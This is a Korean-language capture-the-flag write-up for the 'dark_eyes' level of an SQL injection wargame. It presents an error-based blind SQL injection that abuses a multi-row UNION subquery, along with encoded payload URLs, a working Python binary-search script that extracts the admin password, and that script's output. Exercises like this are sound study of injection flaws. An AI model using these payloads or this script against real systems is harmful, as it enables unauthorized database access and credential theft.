dark_eyes
pw 파라미터에 대한 필터링 문자열은 다음과 같다.
- (
prob _ . () col if case when sleep benchmark)
이번 문제도 21. iron_golem 문제와 동일하게 쿼리문 실행에 성공해도 브라우저에 출력되는 응답 값은 없다.

필터링 문자들 때문에 ORDER BY 절에는 조건문을 삽입해서 Blind SQLi 공격이 어려워 보인다.
그래서 이전 문제 21. iron_golem 와 동일하게 WHERE CLAUSE에 UNION 절로 다중 행 반환 시 오류를 발생시키는 방향으로 진행했다.
- (SELECT 1 UNION SELECT WHERE LENGTH(pw) > 100) 값이 거짓이면 정상적으로 하이라이트 된 PHP 파일을 볼 수 있고
- (SELECT 1 UNION SELECT WHERE LENGTH(pw) < 100) 값이 참이면 다중 행이 조회되기 때문에 에러가 발생하여 빈 페이지를 반환한다.
https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20OR%20id=%27admin%27%20AND%20(SELECT%201%20UNION%20SELECT%202%20WHERE%20LENGTH(pw)%3E100)%23

admin 계정의 패스워드 길이는 8바이트인 것으로 확인됐다.
UNION 절 사용 시 오른쪽 SELECT 절에 WHERE 조건을 사용하여 조건에 따라 반환되는 행 개수가 다르도록 유도했다.
(공격 페이로드) ' OR id='admin' AND (SELECT 1 UNION SELECT 2 WHERE LENGTH(pw)=8)%23
https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20OR%20id=%27admin%27%20AND%20(SELECT%201%20UNION%20SELECT%202%20WHERE%20LENGTH(pw)=8)%23

ORD, SUBSTR 함수를 이용하여 Blind SQLi 공격이 가능한 쿼리를 확인한다.
” ORD(SUBSTR(pw,1,1))>100” 와 같이 WHERE 절의 조건을 작성하여 admin 계정의 패스워드 추출이 가능하다.
(공격 페이로드) ?pw=' OR id='admin' AND (SELECT 1 UNION SELECT 2 WHERE (ORD(SUBSTR(pw,1,1))>100))#

1~N 번째 패스워드의 값을 찾기 전까지는 ORD(SUBSTR(pw,{i},i))<{mid} 의 값이 참이 되어 다중 행이 반환되며,
다중 행이 반환되면 에러가 발생하며 응답 값 길이(Content-Length)가 0 이 된다.
맵핑되는 패스워드를 찾으면 응답 값의 길이가 0 보다 커지기 때문에 이 특징을 이용하여 Blind SQLi 를 진행한다.
import requests
t_url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
for i in range(1, 9):
low = 1
high = 200000
while low <= high:
mid = (low + high) // 2
payload = ( f"?pw=%27%20OR%20id=%27admin%27%20AND%20(SELECT%201%20UNION%20SELECT%202%20WHERE%20(ORD(SUBSTR(pw,{i},1))<{mid}))%23" )
r = requests.get(t_url + payload, cookies=cookie)
if int(r.headers['Content-Length']) > 0:
low = mid + 1
else:
high = mid - 1
if low > high:
decimal = high # 실제 문자코드 확정
password = password + chr(decimal)
numValue = numValue + str(decimal)
print(f"Extracted admins password : \n\t[+] {decimal}\n\t[+] {password}")
break
'''실행 결과
Extracted admins password :
[+] 53
[+] 5
[ . . . ]
Extracted admins password :
[+] 99
[+] 5a2f5d3c
'''추출한 패스워드를 pw 파라미터에 입력해서 GET 요청을 보내면 DARK_EYES 문제도 클리어 가능했다.

🐛.. 🐛.. 🐛..